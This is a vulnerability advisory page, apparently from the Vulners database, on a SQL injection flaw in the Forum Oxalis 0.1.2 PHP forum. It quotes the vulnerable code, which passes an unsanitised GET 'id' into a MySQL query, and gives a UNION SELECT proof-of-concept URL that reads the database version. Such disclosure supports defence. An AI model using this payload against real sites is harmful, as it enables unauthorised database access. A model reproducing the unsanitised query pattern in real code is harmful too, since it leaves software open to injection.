Lucene search
K

Forum Oxalis <= 0.1.2 - SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

Forum Oxalis 0.1.2 SQL Injection Vulnerability. Remote attack possible

Code

                                                #################################################
Forum Oxalis 0.1.2 &#60;= SQL Injection Vulnerability
#################################################

Discovered by: Jean Pascal Pereira &#60;[email protected]&#62;

Vendor information:

&#34;Forum Oxalis is a minimalis GPL PHP forum using CSS.&#34;

Vendor URI: http://developer.berlios.de/projects/forumoxalis/

#################################################

Risk-level: High

The application is prone to a remote SQL injection vulnerability.

-------------------------------------

func.php, line 72:

function lister_messages($id, $page, $parpage)

{
    global $mysql_table;

    $resu = mysql_query(&#34;select * from `$mysql_table` where id=$id&#34;);

    $nombre_messages = mysql_num_rows($resu);

forum.php, line 7:

$id = $_GET[&#39;id&#39;];

forum.php, line 74:

case &#34;message&#34;:

    lister_messages($id, $page, $reponses_par_page);

    $reponse_a_id = $id;

    break;

-------------------------------------

Exploit / Proof Of Concept:

http://localhost/ForumOxalis/index.php?id=99999/**/UNION/**/SELECT/**/0x00,version(),0x00,0x00,0x00,0x00,0x00,0x00,0x00&action=message

-------------------------------------

Solution:

Do some input validation. 

-------------------------------------

################################################# 
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
17